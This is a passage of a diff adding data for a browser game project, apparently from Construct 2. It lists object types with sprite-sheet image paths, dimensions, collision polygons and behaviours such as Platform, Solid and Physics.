+ "images/cog2-sheet0.png",
+ 5685,
+ 0,
+ 0,
+ 61,
+ 62,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ [],
+ [
+ -0.3278687000274658,
+ -0.3225809931755066,
+ -0.1885247230529785,
+ -0.4193547964096069,
+ -0.01639372110366821,
+ -0.4516128897666931,
+ 0.1639342904090881,
+ -0.4193547964096069,
+ 0.3114752769470215,
+ -0.3225809931755066,
+ 0.4180322885513306,
+ -0.1774190068244934,
+ 0.4590162634849548,
+ 0,
+ 0.4180322885513306,
+ 0.1774190068244934,
+ 0.3155732750892639,
+ 0.3225809931755066,
+ 0.1639342904090881,
+ 0.4193549752235413,
+ -0.01639372110366821,
+ 0.4516130089759827,
+ -0.1885247230529785,
+ 0.4193549752235413,
+ -0.3278687000274658,
+ 0.3225809931755066,
+ -0.4262295067310333,
+ 0.1774190068244934,
+ -0.4590164124965668,
+ 0,
+ -0.4262295067310333,
+ -0.1935479938983917
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Platform",
+ 23,
+ 654743596873325
+ ]
+ ],
+ false,
+ false,
+ 956641003078235,
+ [],
+ null
+ ],
+ [
+ "t406",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 770830517721545,
+ [
+ [
+ "images/sprite22-sheet0.png",
+ 20172,
+ 0,
+ 0,
+ 275,
+ 275,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ [],
+ [
+ -0.04000017046928406,
+ -0.370909184217453,
+ -0.04000017046928406,
+ -0.4872726798057556,
+ 0.04727280139923096,
+ -0.4872726798057556,
+ 0.04727280139923096,
+ -0.370909184217453,
+ 0.2309088110923767,
+ -0.2927271723747253,
+ 0.3136358261108398,
+ -0.3772721886634827,
+ 0.3713638186454773,
+ -0.3213631808757782,
+ 0.2874998450279236,
+ -0.2315911948680878,
+ 0.3673858046531677,
+ -0.04488617181777954,
+ 0.4746018052101135,
+ -0.04517018795013428,
+ 0.4754828214645386,
+ 0.03559684753417969,
+ 0.3668318390846252,
+ 0.03598082065582275,
+ 0.2906888127326965,
+ 0.2279897928237915,
+ 0.367162823677063,
+ 0.3039948344230652,
+ 0.3144898414611816,
+ 0.3574517965316773,
+ 0.2299718260765076,
+ 0.2796348333358765,
+ 0.04407680034637451,
+ 0.3498178124427795,
+ 0.04385679960250855,
+ 0.4785448312759399,
+ -0.0362531840801239,
+ 0.4783638119697571,
+ -0.0363081693649292,
+ 0.3473638296127319,
+ -0.2217911779880524,
+ 0.2736818194389343,
+ -0.3072731792926788,
+ 0.3599998354911804,
+ -0.3636361956596375,
+ 0.309090793132782,
+ -0.2763631939888001,
+ 0.2172728180885315,
+ -0.3654541969299316,
+ 0.03954583406448364,
+ -0.4836363792419434,
+ 0.03977280855178833,
+ -0.4836363792419434,
+ -0.04011419415473938,
+ -0.3636361956596375,
+ -0.04005718231201172,
+ -0.289091169834137,
+ -0.232755184173584,
+ -0.3718181848526001,
+ -0.3145591616630554,
+ -0.3113641738891602,
+ -0.3681891858577728,
+ -0.2247731685638428,
+ -0.2877311706542969
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 946455286532697
+ ],
+ [
+ "Solid",
+ 17,
+ 309067505047941
+ ]
+ ],
+ false,
+ false,
+ 738842439284723,
+ [],
+ null
+ ],
+ [
+ "t407",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 581537798004599,
+ [
+ [
+ "images/cartoonjunglegametileset_platformergroundadditional-sheet0.png",
+ 11593,
+ 0,
+ 0,
+ 322,
+ 584,
+ 1,
+ 0.5,
+ 0.5051369667053223,
+ [],
+ [
+ -0.5,
+ -0.4904216527938843,
+ 0.5,
+ -0.4904216527938843,
+ 0.5,
+ 5.960464477539063e-8,
+ 0.5,
+ 0.4948630332946777,
+ -0.5,
+ 0.4948630332946777,
+ -0.5,
+ 5.960464477539063e-8
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 694644122509153,
+ [],
+ null
+ ],
+ [
+ "t408",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 142842120409374,
+ [
+ [
+ "images/sprite273-sheet0.png",
+ 2700,
+ 0,
+ 0,
+ 194,
+ 33,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ [],
+ [
+ -0.4793814122676849,
+ -0.3939394950866699,
+ 0.4793819785118103,
+ -0.3939394950866699,
+ 0.4793819785118103,
+ 0.3636364936828613,
+ -0.4793814122676849,
+ 0.3636364936828613
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 341594611252521
+ ]
+ ],
+ false,
+ false,
+ 707440975008201,
+ [],
+ null
+ ],
+ [
+ "t409",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 446985561559710,
+ [
+ [
+ "images/sprite24-sheet0.png",
+ 287,
+ 0,
+ 0,
+ 166,
+ 116,
+ 1,
+ 0.5,
+ 0.5,
+ [
+ [
+ "Imagepoint 1",
+ 0.1686746925115585,
+ 0.8706896305084229
+ ],
+ [
+ "Imagepoint 2",
+ 0.8373494148254395,
+ 0.8706896305084229
+ ]
+ ],
+ [
+ -0.4759036004543304,
+ -0.2284480035305023,
+ 0.4657379984855652,
+ -0.2316809892654419,
+ 0.4638559818267822,
+ 0.4612069725990295,
+ -0.4759036898612976,
+ 0.4568970203399658
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 314680669968806
+ ]
+ ],
+ false,
+ false,
+ 187451146331146,
+ [],
+ null
+ ],
+ [
+ "t410",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 614180737586419,
+ [
+ [
+ "images/sprite25-sheet0.png",
+ 1902,
+ 0,
+ 0,
+ 64,
+ 64,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.328125,
+ -0.328125,
+ 0,
+ -0.484375,
+ 0.34375,
+ -0.34375,
+ 0.484375,
+ 0,
+ 0.34375,
+ 0.34375,
+ 0,
+ 0.484375,
+ -0.34375,
+ 0.34375,
+ -0.484375,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 632822823494587
+ ]
+ ],
+ false,
+ false,
+ 399704246302599,
+ [],
+ null
+ ],
+ [
+ "t411",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 105416340037410,
+ [
+ [
+ "images/sprite28-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 470425633810462
+ ],
+ [
+ "Pin",
+ 14,
+ 355375305411556
+ ]
+ ],
+ false,
+ false,
+ 535185331267845,
+ [],
+ null
+ ],
+ [
+ "t412",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 475147621399774,
+ [
+ [
+ "images/sprite25-sheet0.png",
+ 1902,
+ 0,
+ 0,
+ 64,
+ 64,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.328125,
+ -0.328125,
+ 0,
+ -0.484375,
+ 0.34375,
+ -0.34375,
+ 0.484375,
+ 0,
+ 0.34375,
+ 0.34375,
+ 0,
+ 0.484375,
+ -0.34375,
+ 0.34375,
+ -0.484375,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 857839041040159
+ ]
+ ],
+ false,
+ false,
+ 694404235370725,
+ [],
+ null
+ ],
+ [
+ "t413",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 306403496987728,
+ [
+ [
+ "images/sprite30-sheet0.png",
+ 14051,
+ 0,
+ 0,
+ 141,
+ 498,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ [],
+ [
+ -0.4822695255279541,
+ 0.353413999080658,
+ -0.113475114107132,
+ 0.3529120087623596,
+ -0.1099291145801544,
+ -0.5,
+ 0.1117019057273865,
+ -0.5,
+ 0.1090428829193115,
+ 0.3544179797172546,
+ 0.4751768708229065,
+ 0.353413999080658,
+ 0.333332896232605,
+ 0.4949799776077271,
+ -0.347518116235733,
+ 0.4944779872894287
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 240563346501107
+ ]
+ ],
+ false,
+ false,
+ 392084140691854,
+ [],
+ null
+ ],
+ [
+ "t414",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 789716952007461,
+ [
+ [
+ "images/sprite35-sheet0.png",
+ 2092,
+ 0,
+ 0,
+ 313,
+ 48,
+ 1,
+ 0.4920127689838409,
+ 0.625,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 544200919572138,
+ [],
+ null
+ ],
+ [
+ "t415",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 788222939477873,
+ [
+ [
+ "images/sprite41-sheet0.png",
+ 8783,
+ 1,
+ 1,
+ 222,
+ 82,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 897059854679496,
+ [
+ [
+ "images/sprite41-sheet0.png",
+ 8783,
+ 1,
+ 85,
+ 222,
+ 82,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 870946137509803,
+ [],
+ null
+ ],
+ [
+ "t416",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 343947369030768,
+ [
+ [
+ "images/sprite42-sheet0.png",
+ 6392,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 607191305816833,
+ [],
+ null
+ ],
+ [
+ "t417",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 956256133678149,
+ [
+ [
+ "images/sprite43-sheet0.png",
+ 5517,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 192876903374026,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 957136031081204,
+ [],
+ null
+ ],
+ [
+ "t418",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 949655583299901,
+ [
+ [
+ "images/sprite46-sheet0.png",
+ 5655,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 922848025525881,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 309098914189804,
+ [],
+ null
+ ],
+ [
+ "t419",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 923458697208490,
+ [
+ [
+ "images/sprite51-sheet0.png",
+ 5657,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 134089234862650,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 607893323152705,
+ [],
+ null
+ ],
+ [
+ "t420",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 917672802428698,
+ [
+ [
+ "images/sprite56-sheet0.png",
+ 5475,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 530893690757042,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 926238903660188,
+ [],
+ null
+ ],
+ [
+ "t421",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 446519885091321,
+ [
+ [
+ "images/sprite57-sheet0.png",
+ 5519,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 924498383864376,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 296519594704273,
+ [],
+ null
+ ],
+ [
+ "t422",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 462296517206158,
+ [
+ [
+ "images/sprite58-sheet0.png",
+ 5824,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 151779542168918,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 991024762028767,
+ [],
+ null
+ ],
+ [
+ "t423",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 438146499017563,
+ [
+ [
+ "images/sprite61-sheet0.png",
+ 5655,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 923548173283331,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 665852804322751,
+ [],
+ null
+ ],
+ [
+ "t424",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 158903271940049,
+ [
+ [
+ "images/sprite65-sheet0.png",
+ 5496,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 528748072518974,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 779771248532796,
+ [],
+ null
+ ],
+ [
+ "t425",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 963634859855480,
+ [
+ [
+ "images/sprite66-sheet0.png",
+ 5173,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 573890128873434,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 418558348400218,
+ [],
+ null
+ ],
+ [
+ "t426",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 547684462771193,
+ [
+ [
+ "images/sprite67-sheet0.png",
+ 5632,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 646484944033316,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 417796069535096,
+ [],
+ null
+ ],
+ [
+ "t427",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 329601712074566,
+ [
+ [
+ "images/sprite68-sheet0.png",
+ 5124,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 636092919165818,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 442656552509340,
+ [],
+ null
+ ],
+ [
+ "t428",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 634098961404582,
+ [
+ [
+ "images/sprite72-sheet0.png",
+ 5294,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 530850960875256,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 458928000018515,
+ [],
+ null
+ ],
+ [
+ "t429",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 212975369243404,
+ [
+ [
+ "images/sprite73-sheet0.png",
+ 5357,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 674669396399563,
+ [
+ [
+ "images/sprite43-sheet1.png",
+ 6795,
+ 0,
+ 0,
+ 71,
+ 74,
+ 1,
+ 0.3239436745643616,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 934961227816437,
+ [],
+ null
+ ],
+ [
+ "t430",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 239880501394486,
+ [
+ [
+ "images/sprite236-sheet0.png",
+ 6016,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 663021839182515,
+ [
+ [
+ "images/sprite225-sheet1.png",
+ 5611,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 896214819806119,
+ [],
+ null
+ ],
+ [
+ "t431",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 723160804594118,
+ [
+ [
+ "images/sprite289-sheet0.png",
+ 5566,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 132544561527781,
+ [
+ [
+ "images/sprite225-sheet1.png",
+ 5611,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.4845360815525055,
+ 0.4742268025875092,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 742688486327760,
+ [],
+ null
+ ],
+ [
+ "t432",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "si",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 906824688553240,
+ [
+ [
+ "images/sprite290-sheet0.png",
+ 5227,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.5154638886451721,
+ 0.5257731676101685,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "no",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 896710738574962,
+ [
+ [
+ "images/sprite290-sheet1.png",
+ 5612,
+ 0,
+ 0,
+ 97,
+ 97,
+ 1,
+ 0.5051546096801758,
+ 0.5154638886451721,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 457971039107611,
+ [],
+ null
+ ],
+ [
+ "t433",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 845332275467998,
+ [
+ [
+ "images/sprite144-sheet0.png",
+ 1563,
+ 0,
+ 0,
+ 35,
+ 34,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 934602375636019,
+ [],
+ null
+ ],
+ [
+ "t434",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 437203943789452,
+ [
+ [
+ "images/sprite291-sheet0.png",
+ 853,
+ 0,
+ 0,
+ 118,
+ 36,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 684486045052389,
+ [],
+ null
+ ],
+ [
+ "t435",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 271350786439501,
+ [
+ [
+ "images/sprite292-sheet0.png",
+ 831,
+ 0,
+ 0,
+ 118,
+ 36,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 383168297335994,
+ [],
+ null
+ ],
+ [
+ "t436",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 806445588697582,
+ [
+ [
+ "images/sprite293-sheet0.png",
+ 745,
+ 0,
+ 0,
+ 118,
+ 36,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 931924221348016,
+ [],
+ null
+ ],
+ [
+ "t437",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 706034747744455,
+ [
+ [
+ "images/sprite294-sheet0.png",
+ 858,
+ 0,
+ 0,
+ 118,
+ 36,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 757461080602577,
+ [],
+ null
+ ],
+ [
+ "t438",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 608161516720125,
+ [
+ [
+ "images/sprite295-sheet0.png",
+ 864,
+ 0,
+ 0,
+ 118,
+ 36,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 348899047886008,
+ [],
+ null
+ ],
+ [
+ "t439",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 787890150591981,
+ [
+ [
+ "images/sprite296-sheet0.png",
+ 906,
+ 0,
+ 0,
+ 118,
+ 36,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 270526824701150,
+ [],
+ null
+ ],
+ [
+ "t440",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 352494403465330,
+ [
+ [
+ "images/sprite297-sheet0.png",
+ 814,
+ 0,
+ 0,
+ 118,
+ 36,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 423282325214915,
+ [],
+ null
+ ],
+ [
+ "t441",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 633685729687293,
+ [
+ [
+ "images/sprite298-sheet0.png",
+ 857,
+ 0,
+ 0,
+ 127,
+ 36,
+ 1,
+ 0.5354330539703369,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 297740127952883,
+ [],
+ null
+ ],
+ [
+ "t442",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 853458819438043,
+ [
+ [
+ "images/sprite299-sheet0.png",
+ 777,
+ 0,
+ 0,
+ 117,
+ 36,
+ 1,
+ 0.5384615659713745,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 407993297134217,
+ [],
+ null
+ ],
+ [
+ "t443",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 387445530096689,
+ [
+ [
+ "images/sprite300-sheet0.png",
+ 860,
+ 0,
+ 0,
+ 127,
+ 36,
+ 1,
